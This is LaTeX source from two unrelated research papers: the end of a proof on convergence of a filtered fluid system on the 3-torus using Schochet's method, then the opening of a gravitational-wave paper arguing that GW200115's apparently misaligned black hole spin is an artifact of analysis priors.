\ps{\mathcal{B}\pare{\underline{U}, U_{\textnormal{osc}}}}{U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}} & = \ps{\pare{-\Delta}^{s/2}\mathcal{B}\pare{\underline{U}, U_{\textnormal{osc}}}}{\pare{-\Delta}^{s/2} U_{\textnormal{osc}}}_{{L^2\!\left(\mathbb{T}^3\right)}}, \\
& = \ps{\mathcal{B}\pare{\underline{U}, \pare{-\Delta}^{s/2} U_{\textnormal{osc}}}}{\pare{-\Delta}^{s/2} U_{\textnormal{osc}}}_{{L^2\!\left(\mathbb{T}^3\right)}},
\end{align*}
which implies inequality \eqref{eq:estimate_linear_term_osc2}.
\end{proof}
\noindent \textit{Proof of Proposition \ref{pr:global_Hs_uosc}.} We have now all the ingredients to prove Proposition \ref{pr:global_Hs_uosc}. Performing rather standard ${{H}^s\left( \mathbb{T}^3 \right)}$-energy estimates on the equation \eqref{eq:lim_Uosc} with the energy bounds \eqref{eq:estimate_trilinear_term_osc}, \eqref{eq:estimate_linear_term_osc1} and \eqref{eq:estimate_linear_term_osc2}, we obtain
\begin{multline*}
\frac{1}{2}\frac{d}{dt} \norm{U_{\textnormal{osc}}\pare{t}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^2 + \nu \int_0^t \norm{\nabla U_{\textnormal{osc}} \pare{\tau}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^2 d\tau \\
\leqslant C \pare{ \norm{\nabla\overline{U}}_{{{H}^s\left( \mathbb{T}^3 \right)}} + \norm{\underline{U}}_{L^2\pare{\mathbb{T}^1_{\v}}} }\norm{\nabla U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}\norm{ U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}} \\
+ \norm{U_{\textnormal{osc}}}_{{L^2\!\left(\mathbb{T}^3\right)}}^{1/2} \norm{\nabla U_{\textnormal{osc}}}_{{L^2\!\left(\mathbb{T}^3\right)}}^{1/2}\norm{U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^{1/2} \norm{\nabla U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^{3/2}
\end{multline*}
Then, Young inequality and Gronwall lemma imply
\begin{multline*}
\norm{U_{\textnormal{osc}}\pare{\tau}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^2 + \nu \int_0^t \norm{\nabla U_{\textnormal{osc}}\pare{\tau}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^2d\tau\\
\leqslant \norm{U_{\textnormal{osc}, 0}}^2_{{{H}^s\left( \mathbb{T}^3 \right)}} \exp\left\{ \int_0^t \norm{\nabla\overline{u}^h\pare{\tau}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^2d\tau + \int_0^t\norm{\underline{U}\pare{\tau}}_{L^2\pare{\mathbb{T}^1_{\v}}}^2d\tau\right.\\
+ \left.\int_0^t \norm{U_{\textnormal{osc}}\pare{\tau}}_{{L^2\!\left(\mathbb{T}^3\right)}}^2\norm{\nabla U_{\textnormal{osc}}\pare{\tau}}_{{L^2\!\left(\mathbb{T}^3\right)}}^2 d\tau \right\}.
\end{multline*}
Thus, using Estimates \eqref{eq:stong_Hs_bound_ubar}, \eqref{eq:L2_bound_Uosc} and the result in Proposition \ref{pr:global_Hs_Uunder}, we deduce that, for each $ T> 0 $, the following bound holds true
\begin{multline*}
\norm{U_{\textnormal{osc}}\pare{\tau}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^2 + \nu \int_0^t \norm{\nabla U_{\textnormal{osc}}\pare{\tau}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^2d\tau \\
\begin{aligned}
\leqslant & \ \norm{U_{\textnormal{osc}, 0}}^2_{{{H}^s\left( \mathbb{T}^3 \right)}} \exp\set{ \frac{1}{\nu}\ \mathcal{E}_1\pare{U_0} + T\ \norm{\underline{U}_0}^2_{L^2\pare{\mathbb{T}^1_{\v}}} + \frac{1}{\nu} \pare{ \mathcal{E}_{2, U_0}\pare{T} }^2 }, \\
\leqslant & \ C_\nu \exp\set{C_\nu \exp\set{C_\nu T}},
\end{aligned}
\end{multline*}
where $ \mathcal{E}_1 $ and $ \mathcal{E}_2 $ are respectively defined in \eqref{eq:E1} and \eqref{eq:E2}.
\hfill$ \Box $
\section{Convergence as $ \varepsilon\to 0 $ and proof of the main result}
As in the work \cite{Gallagher_incompressible_limit}, the lack of a complete parabolic smoothing effect on the system \eqref{PBSe} will prevent us to obtain a uniform global-in-time control for $ U^\varepsilon $. Nonetheless we will be able to prove that, for each $ T>0 $ arbitrary and $ \varepsilon > 0 $, the solutions of \eqref{eq:filt-sys} belong to the space $ \mathcal{C}_{\textnormal{loc}} \pare{\mathbb{R}_+; H^{s-2}\pare{\mathbb{T}^3}} $ for $ s>9/2 $ and converge in the same topology to the global solution of \eqref{eq:limit_system}. The idea to prove this convergence result is to use the method of Schochet (see \cite{schochet}), which consists in a smart change of variable, which cancels some perturbations that we cannot control. We will use results and terminology introduced by I. Gallagher in \cite{Gallagher_singular_hyperbolic} in the context of quasilinear hyperbolic symmetric systems with skew-symmetric singular perturbation.
Let us recall the following definition \cite[Definition 1.2]{Gallagher_singular_hyperbolic}
\begin{definition} \label{def:oscillating_functions}
Let $ T, \varepsilon_0> 0, \ p\geqslant 1 $ and $ \sigma > d/2 $. Let $ \overrightarrow{k_q}= \pare{k_1, \ldots , k_q} $ where $ k_i\in\mathbb{Z}^d $ and let
\begin{equation*}
\av{\overrightarrow{k_q}}= \max_{1\leqslant i \leqslant q} \av{k_i}.
\end{equation*}
Then a function $ R^\varepsilon_{\textnormal{osc}}\pare{t} $ is said to be \textnormal{$ \pare{p, \sigma} $-- oscillating function} if it can be written as
\begin{equation*}
R^\varepsilon_{\textnormal{osc}} = \sum_{q=1}^p R^\varepsilon_{q, \textnormal{osc}}\pare{t},
\end{equation*}
where
\begin{equation*}
R^\varepsilon_{q, \textnormal{osc}}\pare{t} = \mathcal{F}^{-1} \pare{\sum_{\overrightarrow{k_q} \in K^n_q} e^{i\frac{t}{\varepsilon}\beta_q \pare{n, \overrightarrow{k_q}} } r_0\pare{n , \overrightarrow{k_q}} f^\varepsilon_1 \pare{t, k_1}\ldots f^\varepsilon_q \pare{t, k_q} },
\end{equation*}
with
\begin{equation*}
K^n_q = \set{ \overrightarrow{k_q}\in \mathbb{Z}^{dq} \left\vert \ \sum_{i=1}^q k_i =n \text{ and } \beta_q\pare{n, \overrightarrow{k_q}}\neq 0 \right. },
\end{equation*}
and where $r_0$ and $f^\varepsilon_i$ satisfy
\begin{itemize}
\item there exist $ \pare{\alpha_i}_{i\in\set{1, \ldots , q}}, \ \alpha_i \geqslant 0 $ such that
\begin{align*}
r_0\pare{n , \overrightarrow{k_q}} \leqslant C \prod_{i=1}^q \pare{1+ \av{k_i}}^{\alpha_i},
\end{align*}
\item $ \pare{\mathcal{F}^{-1} f_i^\varepsilon}_{0<\varepsilon<\varepsilon_0} $ is uniformly bounded in $ \mathcal{C} \pare{[0, T]; H^{\sigma + \alpha_i}\pare{\mathbb{T}^d}} $, for any $i \in \set{1, \ldots, q}$,
\item there exists a $ \sigma_i >-\sigma $ for which, $ \pare{\mathcal{F}^{-1} \partial_t f_i^\varepsilon}_{0<\varepsilon<\varepsilon_0} $ is uniformly bounded in $ \mathcal{C} \pare{[0, T]; H^{\sigma_i}\pare{\mathbb{T}^d}} $.
\end{itemize}
\end{definition}
\noindent The abstract concept in Definition \ref{def:oscillating_functions} is required in order to introduce the following result, see \cite[Lemma 2.1]{Gallagher_singular_hyperbolic} or \cite[Lemma 2.1]{Gallagher_incompressible_limit} for more details.
\begin{lemma}\label{lem:schochet_abstract}
Let $ T>0 $ and $ \sigma > \dfrac{d}{2} +2 $, let $ \pare{b^\varepsilon}_{\varepsilon} $ be a family of functions, bounded in $ \mathcal{C}\pare{[0, T]; H^\sigma \pare{\mathbb{T}^d}} $ and let $ a_0^\varepsilon\to 0 $ as $ \varepsilon \to 0 $ in $ H^{\sigma-1}\pare{\mathbb{T}^d} $. Let $ \mathcal{Q}^\varepsilon, \ \mathcal{A}^\varepsilon_2 $ be as in \eqref{eq:def_Qeps}, \eqref{eq:def_A2eps}, let $ R^\varepsilon_{\textnormal{osc}} $ be a $ \pare{p, \sigma-1} $--oscillating function and finaly let $ F^\varepsilon\to 0 $ as $ \varepsilon \to 0 $ in $ \mathcal{C} \pare{[0, T]; H^{\sigma-1}\pare{\mathbb{T}^d}} $. Then the function $ a^\varepsilon $, solution of
\begin{equation*}
\left\lbrace
\begin{aligned}
& \partial_t a^\varepsilon +\mathcal{Q}^\varepsilon \pare{a^\varepsilon, b^\varepsilon}- \mathcal{A}^\varepsilon_2 \pare{D} a^\varepsilon= R^\varepsilon_{\textnormal{osc}} + F^\varepsilon, \\
&\left. a^\varepsilon\right\vert _{t=0} = a^\varepsilon_0,
\end{aligned}
\right.
\end{equation*}
is an $ o_\varepsilon\pare{1} $ in the $ \mathcal{C} \pare{[0, T]; H^{\sigma-1}\pare{\mathbb{T}^d}} $ topology.
\end{lemma}
\bigskip
Now, to prove our main result, we subtract \eqref{eq:limit_system} from \eqref{eq:filt-sys}, and we denote the difference unknown by $ W^\varepsilon=U^\varepsilon- {U} $. Some basic algebra calculations lead to the following difference system
\begin{equation} \label{equation_W_schochet_method}
\left\lbrace
\begin{aligned}
&\partial_t W^\varepsilon+ \mathcal{Q}^\varepsilon\left( W^\varepsilon, W^\varepsilon+2 {U} \right) - \mathcal{A}_2^\varepsilon\pare{D} W^\varepsilon = -\pare{\mathcal{R}^\varepsilon_{\textnormal{osc}} + \mathcal{S}^\varepsilon_{\textnormal{osc}}}, \\
& \textnormal{div}\; W^\varepsilon=0,\\
&\left. W^\varepsilon \right|_{t=0}= 0,
\end{aligned}
\right.
\end{equation}
where
\begin{align*}
&\mathcal{R}^\varepsilon_{\textnormal{osc}} = \mathcal{Q}^\varepsilon\left( {U} , {U}\right) - \mathcal{Q} \left( {U}, {U} \right), \\
&\mathcal{S}^\varepsilon_{\textnormal{osc}} = - \pare{\mathcal{A}^\varepsilon_2\pare{D}-\mathcal{A}^0_2\pare{D}}U.
\end{align*}
\noindent We remark that $ \mathcal{R}^\varepsilon_{\textnormal{osc}} $ and $ \mathcal{S}^\varepsilon_{\textnormal{osc}} $ are highly oscillating functions which converge to zero in $ \mathcal{D}'\pare{\mathbb{T}^3\times \mathbb{R}_+ } $ only. Thanks to the results proved in Section \ref{se:lim_syst}, namely Lemma \ref{le:lim_smooth} and equation \eqref{eq:cQ_cA}, we can compute the explicit value of $ \mathcal{R}^\varepsilon_{\textnormal{osc}} $ and $ \mathcal{S}^\varepsilon_{\textnormal{osc}} $ which is given by
\begin{equation*}
\mathcal{R}^\varepsilon_{\textnormal{osc}} = \mathcal{R}^\varepsilon_{\textnormal{osc}, \RN{1}} + \mathcal{R}^\varepsilon_{\textnormal{osc}, \RN{2}} + \mathcal{R}^\varepsilon_{\textnormal{osc}, \RN{3}},
\end{equation*}
and
\begin{align*}
\mathcal{F} \mathcal{R}^\varepsilon_{\textnormal{osc}, \RN{1}} & = \sum_{\substack{\omega^{a,b,c}_{k,m,n}\neq 0\\k+m=n \\ k_h, m_h, n_h\neq 0 \\ a,b,c \in \set{ 0,\pm}}} e^{i\frac{t}{\varepsilon} \omega^{a,b,c}_{k,m,n}} \left( \left. \ \mathbb{P}_n \left( n, 0 \right) \cdot \mathbb{S} \left( U^{a} (k) \otimes U^b (m)\right) \right| e_c(n) \right)_{\mathbb{C}^4}\; e_c(n), \\
\mathcal{F} \mathcal{R}^\varepsilon_{\textnormal{osc}, \RN{2}} & = 2\sum_{\substack{\pare{0,k_3} + m=n\\ m_h, n_h \neq 0\\ \widetilde{\omega}^{b,c}_{m,n} \neq 0\\b, c =0, \pm\\j=1,2,3}} e^{i\frac{t}{\varepsilon}\widetilde{\omega}^{b,c}_{m,n}} \left( \left. \ \mathbb{P}_n \left( n, 0 \right) \cdot \mathbb{S} \left( U^{j} (0,k_3) \otimes U^b (m)\right) \right| e_c(n) \right)_{\mathbb{C}^4}\; e_c(n), \\
\mathcal{F} \mathcal{R}^\varepsilon_{\textnormal{osc}, \RN{3}} & = \sum_{\substack{k+m=(0,n_3) \\ k_h, m_h \neq 0\\ \omega^{a, b}_{k, m}\neq 0 \\ a,b \in \set{ 0,\pm}\\ j=1,2,3}} e^{i\frac{t}{\varepsilon}\omega^{a, b}_{k, m}} \left( \left. \ \mathbb{P}_{(0,n_3)} \left(0,0, n_3, 0 \right) \cdot \mathbb{S} \left( \widetilde{V}_1^{a} (k) \otimes \widetilde{V}_2^b (m)\right) \right| f_j \right)_{\mathbb{C}^4}\; f_j,\\
\mathcal{F} \mathcal{S}^\varepsilon_{\textnormal{osc}} & = 1_{n_h\neq 0} \sum_{ \substack{\omega^{a,b}_n\neq 0\\a, b=0,\pm}} e^{i\frac{t}{\varepsilon}\omega^{a,b}_n} \left(\left. \mathcal{F} \mathcal{A}_2 (n) U^a (n) \right| e_b(n) \right)_{\mathbb{C}^4} \ e_b(n).
\end{align*}
The following result is immediate.
\begin{prop}
Under the assumption of Theorem \ref{thm:main_result} the function $ \mathcal{R}^\varepsilon_{\textnormal{osc}} $ is a $ \left( 2, s-1 \right) $--oscillating function, $\mathcal{S}^\varepsilon_{\textnormal{osc}} $ is a $ \left( 1, s-2 \right) $--oscillating function and hence $ \mathcal{R}^\varepsilon_{\textnormal{osc}} + \mathcal{S}^\varepsilon_{\textnormal{osc}} $ is a $ \left( 2, s-2 \right) $--oscillating function.
\end{prop}
We can now conclude by applying Lemma \ref{lem:schochet_abstract}, with $ \sigma = s-2 $ and with the substitutions
\begin{align*}
& a^\varepsilon = W^\varepsilon, & b^\varepsilon = W^\varepsilon +2U, \\
& R^\varepsilon_{\textnormal{osc}} = -\pare{\mathcal{R}^\varepsilon_{\textnormal{osc}} + \mathcal{S}^\varepsilon_{\textnormal{osc}}}, & F^\varepsilon =0.
\end{align*}
We deduce that for each $ T\in \left[ 0, T^\star\right) $, the function $ W^\varepsilon $ is an $ o_{\varepsilon} \pare{1} $ function in $ \mathcal{C} \pare{[0, T]; H^{s-2}} $. Setting hence
\begin{equation*}
\widetilde{T^\star} = \sup \set{t\in [0, T^\star ) \ \Big\vert \ \norm{U^\varepsilon \pare{t'}}_{H^{s-2}}< K \pare{\Big. \mathcal{E}_1 \pare{V_0} + \mathcal{E}_{3, \nu, T}\pare{V_0}}, \ \forall \ t'\in \left[0, t\right]},
\end{equation*}
where $ \mathcal{E}_1 $ and $ \mathcal{E}_{3, \nu, T} $ are defined in Proposition \ref{pr:global_Hs_ubarh} and \ref{pr:global_Hs_uosc}, and $ K $ is a positive (possibly large) fixed, finite constant. Since $ W^\varepsilon = U^\varepsilon - U $ we deduce that for any $ t\in\bra{0, \widetilde{T^\star}} $
\begin{align*}
\norm{U^\varepsilon \pare{t}}_{H^{s-2}} & \leqslant \norm{U \pare{t}}_{H^{s-2}} + \norm{ W^\varepsilon \pare{t}}_{H^{s-2}}, \\
& \leqslant \frac{K}{2} \pare{\Big. \mathcal{E}_1 \pare{V_0} + \mathcal{E}_{3, \nu, T}\pare{V_0}} + \frac{1}{2},
\end{align*}
since
\begin{align*}
\norm{U \pare{t}}_{H^{s-2}} & \leqslant \norm{\overline{U}\pare{t}}_{H^{s-2}} + \norm{U _{\textnormal{osc}} \pare{t}}_{H^{s-2}} + \norm{\underline{U}\pare{t}}_{H^{s-2}} , \\
& \leqslant \mathcal{E}_1\pare{V_0} + \mathcal{E}_{3, \nu, T}\pare{V_0} + \norm{\underline{U}_0}_{H^{s-2}}, \\
& \leqslant \frac{K}{2} \pare{\Big. \mathcal{E}_1 \pare{V_0} + \mathcal{E}_{3, \nu, T}\pare{V_0}},
\end{align*}
for $ K > 4 $ and $ \norm{W^\varepsilon \pare{t}}_{H^{s-2}}\leqslant 1/2 $ thanks to the result of Lemma \ref{lem:schochet_abstract}.
Thus, $ \widetilde{T^\star}=T^\star $, and supposing $ T^\star < \infty $, we deduce
\begin{align*}
\lim _{t\nearrow T^\star} \int_0^t \norm{\nabla U^\varepsilon\pare{t'}}_{L^\infty} dt' & \leqslant \lim _{t\nearrow T^\star} \int_0^t \norm{ U^\varepsilon\pare{t'}}_{H^{s-2}} dt' \\
& \leqslant K \pare{\Big. \mathcal{E}_1 \pare{V_0} + \mathcal{E}_{3, \nu, T}\pare{V_0}} T^\star <\infty,
\end{align*}
which indeed contradicts \eqref{eq:BU_criterion}. We conclude that $ T^\star =\infty $.
\section*{Acknowledgments}
{The research of S.S. is supported by the Basque Government through the BERC 2018-2021 program and by Spanish Ministry of Economy and Competitiveness MINECO through BCAM Severo Ochoa excellence accreditation SEV-2013-0323 and through project MTM2017-82184-R funded by (AEI/FEDER, UE) and acronym "DESFLU".}
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1,477,468,750,015 | arxiv | \section{Introduction}
Several black hole (BH) -- neutron star (NS) merger candidates were observed in the gravitational-wave (GW) data from the third science run of advanced LIGO and Virgo detectors. These included events such as GW190814, in which the mass measurements of the lower-mass companion could be either an NS or a BH \citep{GW190814}, as well as lower-significance candidates with uncertain measurements, particularly GW190426\_152155 and GW190917\_114630 \citep{Abbott:2021-GWTC-2-1}. Two events stood out as confident BH -- NS merger detections: GW200105 and GW200115 \citep{GW200105}.
The GW signature GW200105---a merger between a $\approx 9 \mathrm{M}_\odot$ BH and a $\approx 2 \mathrm{M}_\odot$ NS---constrained the BH dimensionless spin magnitude to low values ($\chi_\mathrm{BH}<0.3$ at 95\% confidence). The effective spin, defined as
\begin{equation}\label{eq:chieff}
\chi_\mathrm{eff} \equiv \frac{(M_\mathrm{BH} \vec{\chi}_\mathrm{BH} + M_\mathrm{NS} \vec{\chi}_\mathrm{NS}) \cdot \hat{L}}{M_\mathrm{BH}+M_\mathrm{NS}},
\end{equation}
where $M_\mathrm{BH}$ and $M_\mathrm{NS}$ are the BH and NS masses, $\chi_\mathrm{BH}$ and $\chi_\mathrm{NS}$ are the corresponding dimensionless spins ($0 \leq \chi \equiv |\vec{\chi}| \leq 1$) and $\hat{L}$ is the unit vector along the orbital angular momentum, was centered on 0 for GW200105.
In contrast, inference on GW200115---a merger between a $\approx 6 \mathrm{M}_\odot$ BH and a $\approx 1.4 \mathrm{M}_\odot$ NS---allowed for a much larger BH spin, with a median of 0.3 and a 90\% credible interval extending above 0.8. The effective spin posterior encompassed zero, but centered on negative values, with a 90\% credible interval spanning $\chi_\mathrm{eff} \in [-0.5,0.03]$. The inferred preference for a BH spin anti-aligned with the orbital angular momentum (probability of 88\%) is surprising on astrophysical grounds \citep[e.g.,][]{Kalogera:2000}, and has led a number of authors to investigate the astrophysical implications and observational consequences of this apparent misalignment.
\citet{Fragione:2021} find that NS kicks following a Maxwellian distribution with a one-dimensional root mean square speed exceeding 150 km s$^{-1}$ are necessary for a non-negligible misalignment probability, but that in order to preserve the binary from disruption with such large kicks, the common envelope phase must be very efficient in hardening the binary. \citet{Gompertz:2021} focus on the asymmetric natal kick accompanying the birth of the BH and find that in order for the BH to be significantly misaligned, the BH must have experienced a large natal kick, perhaps of hundreds of km s$^{-1}$. \citet{Zhu:2021} focuses on the natal kick of the NS and finds that it had to be even larger ($\sim 600$ km s$^{-1}$) if the BH spin and the orbit are misaligned by more than 90\,$\deg$. Both \citet{Gompertz:2021} and \citet{Zhu:2021kn} conclude that the misalignment makes it less likely that the NS would be disrupted prior to plunging into the BH, making for an electromagnetically quiet merger.
Here, we determine that the support for large and negative BH spins is a natural consequence of analysing a BH -- NS merger with non-spinning components with the priors used in the LIGO-Virgo-KAGRA (LVK) analysis. We analyse the correlation between spin and mass ratio in section \ref{sec:data} and show that the shape of the GW200115 posterior is expected for a BH -- NS merger with a non-spinning BH component and masses close to the maximum \textit{a posteriori} values of GW200115 when using \citet{GW200105} priors. In Section \ref{sec:astro} we discuss the astrophysical context for non-spinning BH's in BH -- NS binaries, and propose alternative astrophysically motivated spin priors for the analysis of BH -- NS mergers. Applying our spin priors constrains the black hole spin to be close to zero, consistent with expectations, and also leads to tighter constraints on the component masses, with $M_\mathrm{BH} =7.0^{+0.4}_{-0.4}\,M_{\odot}$ (median and 90\% credible interval) and $M_{\text{NS}}=1.25^{+0.09}_{-0.07}\,M_{\odot}$, which is typical of second-born neutron stars in Galactic double neutron star binaries \citep{Tauris:2017}.
\section{Data analysis}\label{sec:data}
There is a well-known correlation between the spin and mass ratio of binaries observed through gravitational waves from the inspiral phase of the coalescence \citep[e.g.,][]{CutlerFlanagan:1994,PoissonWill:1995,Baird:2013,Hannam:2013,Ng:2018}. Although the mass ratio and spin-orbit coupling terms enter the waveform phase at different post-Newtonian order (1 pN and 1.5 pN, respectively), their contributions cannot be clearly distinguished for a signal with a limited signal-to-noise ratio. In this section, we explain why this correlation naturally leads to an apparent preference for a misaligned solution for a source with negligible component spins.
\begin{figure}
\centering
\includegraphics[width=\columnwidth]{chi1z_q_corner_reweighted.pdf}
\caption{Marginalized two- and one-dimensional prior (light/dark grey, for 86/39\% credible intervals, respectively) and posteriors in the space of mass ratio $q$ and BH spin projection along the orbital angular momentum $\chi_\mathrm{BH,z}$. Dark blue shows the GW200115 posteriors as inferred in \citep{GW200105}, light blue shows those for a zero-noise mock signal with zero spins and similar component masses, and red shows the GW200115 posteriors re-weighted using the alternative priors proposed in section \ref{sec:astro}.}\label{figure:qchiz}
\end{figure}
We first show that the posterior obtained for GW200115 is similar to that obtained for an analysis of a mock BH -- NS system with zero component spin, and with component masses comparable to the maximum a posteriori values of GW200115. Figure \ref{figure:qchiz} displays the 2-dimensional and 1-dimensional posterior probability density functions on the the mass ratio $q\equiv M_\mathrm{NS} / M_\mathrm{BH}$ and the component of the black hole spin along the direction of the orbital angular momentum $\chi_\mathrm{BH,z} \equiv \vec{\chi}_\mathrm{BH} \cdot \hat{L}$. Grey shows the priors from the \citet{GW200105, GWOSC} analysis, with the additional constraint placed on the component masses ($M_\mathrm{BH},M_\mathrm{NS}>1\,M_{\odot}$) for consistency with our mock-data study. Dark blue shows the inferred posteriors for GW200115 using a combination of IMRPhenomXPHM and SEOBNRv4PHM \citep{Pratten:2021, Ossokine:2020} waveform models. In light blue, we show the posteriors for an injected waveform with non-spinning components of lab-frame mass $M_\mathrm{BH}=6.94 \mathrm{M}_\odot$ and $M_\mathrm{NS}=1.30 \mathrm{M}_\odot$, into a zero-noise realisation with detector noise power spectral densities identical to the ones used to analyze GW200115. All other signal parameters are the same as the maximum posterior values of GW200115 \citep{GWOSC}. The waveform model used for the injection and its recovery is IMRPhenomPv2 \citep{Hannam:2013waveform,Khan:2016}, which does not contain higher-order modes, unlike the IMRPheonmXPHM and SEOBNRv4PHM waveforms used in the original analysis. However, this is not expected to make a difference as there is no observable higher-mode content in the signal. In red, we show the posteriors for GW200115 obtained by reweighting the LVK samples \citep{GWOSC} with the alternative astrophysically motivated spin prior discussed in Sec~\ref{sec:astro}.
The GW200115 posteriors and those recovered for the mock injection are qualitatively similar. Both peak at zero values of $\chi_\mathrm{BH,z}$, the BH spin projected onto the orbital angular momentum. Both posteriors show a clear anti-correlation between the mass ratio $q$ and $\chi_\mathrm{BH,z}$. Yet both posteriors are clearly asymmetric in $\chi_\mathrm{BH,z}$, with support at negative but not positive values, despite the symmetric prior.
The anti-correlation between $q$ and $\chi_\mathrm{BH,z}$ can be easily understood by considering the frequency-domain inspiral waveform $\tilde{h}(f;\vec{\theta}) = A(f) e^{i\psi(f;\vec{\theta})}$ in the stationary-phase approximation, where $\vec{\theta}$ denotes the signal parameters. Two waveforms with different parameters $\vec{\theta}_1$ and $\vec{\theta}_2$ will have a high match if their phases $\psi(f)$ are nearly equal at frequencies where the detector has optimal sensitivity, the so-called bucket frequency. This will, in turn, lead to small residuals between the waveforms and thus a high likelihood that a data set containing a signal with parameters $\vec{\theta}_1$ could be generated with model parameters $\vec{\theta}_2$.
The post-Newtonian waveform phase can be expanded in a Taylor series around the bucket frequency $f_0$,
\begin{equation}\label{eq:Taylor}
\psi(f) = \psi(f_0) + \frac{d\psi}{df}\Big|_{f_0} (f-f_0) + \frac{d^2\psi}{df^2}\Big|_{f_0} \frac{(f-f_0)^2}{2} + ...
\end{equation}
The constant term $\psi(f_0)$ is ignorable when comparing two waveforms, since it can be absorbed into an overall phase offset. The linear in frequency term effectively corresponds to a time offset and can be absorbed into the definition of the coalescence time. Thus, the first relevant term is the quadratic one, and two waveforms will have a high match when their second derivatives are approximately equal in the bucket,
\begin{equation}\label{eq:ddpsi}
\frac{d^2\psi(f;\vec{\theta}_1)}{df^2}\Big|_{f_0} \approx \frac{d^2\psi(f;\vec{\theta}_2)}{df^2}\Big|_{f_0}
\end{equation}
(see, e.g., section IV.B of \citealt{Psaltis:2020} for a longer discussion).
We can thus quantify the correlation between $q$ and $\chi_\mathrm{BH,z}$ by asking what $\chi_\mathrm{BH,z}$ values would yield an accurate match to the signal from a binary with non-spinning components of fixed mass as we vary $q$. The chirp mass $M_c \equiv M_\mathrm{BH}^{3/5} M_\mathrm{NS}^{3/5} (M_\mathrm{BH}+M_\mathrm{NS})^{-1/5}$ is generally very accurately determined for low-mass GW events (the fractional 1-$\sigma$ uncertainty is $\sim 1\%$ for GW200115), so we assume that it is fixed (in practice, the small but non-negligible uncertainty in $M_c$ is partly manifest in the finite width of the $\chi_\mathrm{BH,z}$--$q$ posterior perpendicular to the direction of correlation in figure \ref{figure:qchiz}). We further assume that $\chi_\mathrm{NS} = 0$, since the NS spin is expected to be low in merging binaries (e.g., $\chi_\mathrm{NS} \lesssim 0.02$ in Galactic field double neutron stars, \citealt{KumarLandry:2019}) and its impact is, in any case, diluted by the smaller NS mass. We consider a 1.5 order post-Newtonian expansion of $\psi(f)$ \citep{PoissonWill:1995}. Under these assumptions, equation \ref{eq:ddpsi} determines the expected correlation between $\chi_\mathrm{BH,z}$ and $q$ posteriors when a non-spinning BH merges with an NS:
\begin{eqnarray}
\chi_\mathrm{BH,z} &=& \Big(19.1 (\eta_0^{-2/5}\eta^{3/5}-\eta^{1/5}) \nonumber \\
&+& 23.8 (\eta_0^{3/5} \eta^{3/5} - \eta^{6/5})\Big) \left(\frac{M_c}{\mathrm{M}_\odot}\right)^{-1/3} \left(\frac{f_0}{100\, \mathrm{Hz}}\right)^{-1/3} \nonumber\\
&-& 12.6 (\eta_0^{-3/5}\eta^{3/5}-1), \label{eq:chiz}
\end{eqnarray}
where $\eta\equiv q/(1+q)^2$ is the symmetric mass ratio and $\eta_0$ is its value for the presumed non-spinning signal. While the exact slope of the correlation predicted by equation (\ref{eq:chiz}) does not perfectly match the slope of the blue posteriors in figure \ref{figure:qchiz}, the difference is consistent with a range of simplifications used here, including cutting off the waveform at the 1.5 post-Newtonian order.
Having analyzed the correlation between $\chi_\mathrm{BH,z}$ and $q$, we now discuss the reasons why the $\chi_\mathrm{BH,z}$ posterior is skewed toward negative values for an injected signal with zero component spins. The analysis above already points to one such reason. As the mass ratio $q$ is decreased at fixed chirp mass, the total mass $M$ becomes large because $M \equiv M_\mathrm{BH}+M_\mathrm{NS} = M_c (1+q)^{6/5} q^{-3/5}$. Differences between post-Newtonian orders scale as $(Mf)^{1/3}$, and so become more significant at a fixed bucket frequency. Thus, even if two waveforms have equal $d^2\psi/df^2$, differences in $d^3\psi/df^3$ are amplified at low $q$. Consequently, low $q$ (which correlates with large positive $\chi_\mathrm{BH,z}$) models with matching $d^2\psi/df^2$ produce larger residuals and are disfavored when analyzing a signal from a binary with non-spinning components, whose posterior peaks near zero spin.
The total mass of the binary impacts the system beyond the phasing or frequency evolution. The total mass and spin set the maximum frequency reached at the end of the inspiral and the ringdown frequency \citep{Echeverria:1989}. For low values of total mass, the frequency at the end of the inspiral, $\sim 4(\mathrm{M}_\odot/M)$ kHz, is too high to be directly observable by current detectors. However, for low $q$, the total mass would increase at fixed $M_c$, bringing the signal termination frequency into the detectors' sensitive frequency band. Not detecting these effects can therefore rule out low $q$ without discriminating between large $q$, explaining the asymmetry in the $q$--$\chi_\mathrm{BH,z}$ posterior.
Finally, parameter constraints can lead to unanticipated priors. \citet{GW200105} describe the mass priors as uniform in component masses. At first glance, this should correspond to a flat distribution on $q$. However, there were additional priors cuts imposed: both masses were chosen to be between 0.5 and 22.95 $\mathrm{M}_\odot$ \citep{GW200105}, which leads to a prior distribution on $q$ which begins to drop off below $q \lesssim 0.1$. Furthermore, there is an additional cut that $q\geq1/18$ to match the waveform family requirements. In view of the $q$--$\chi_\mathrm{BH,z}$ correlation, this reduction in the prior support at low $q$ disfavors high $\chi_\mathrm{BH,z}$.
\section{Astrophysics}\label{sec:astro}
We argued above that the observed posterior on $\chi_\mathrm{BH,z}$, with a peak near zero but asymmetric support at negative $\chi_\mathrm{BH,z}$ values, is exactly what one should expect for the analysis of a merging BH -- NS binary with a non-spinning BH when using the LVK priors. Now, we turn to the question of astrophysical expectations, which point strongly against a significant BH spin misaligned with the orbital angular momentum.
The main problem with a BH spin misaligned with the orbital angular momentum in a BH -- NS binary is not the misalignment, but the fact the BH is significantly spinning at all. To see this, we consider the possible channels for BH -- NS formation (see \citealt{MandelFarmer:2018,Mapelli:2021} for reviews).
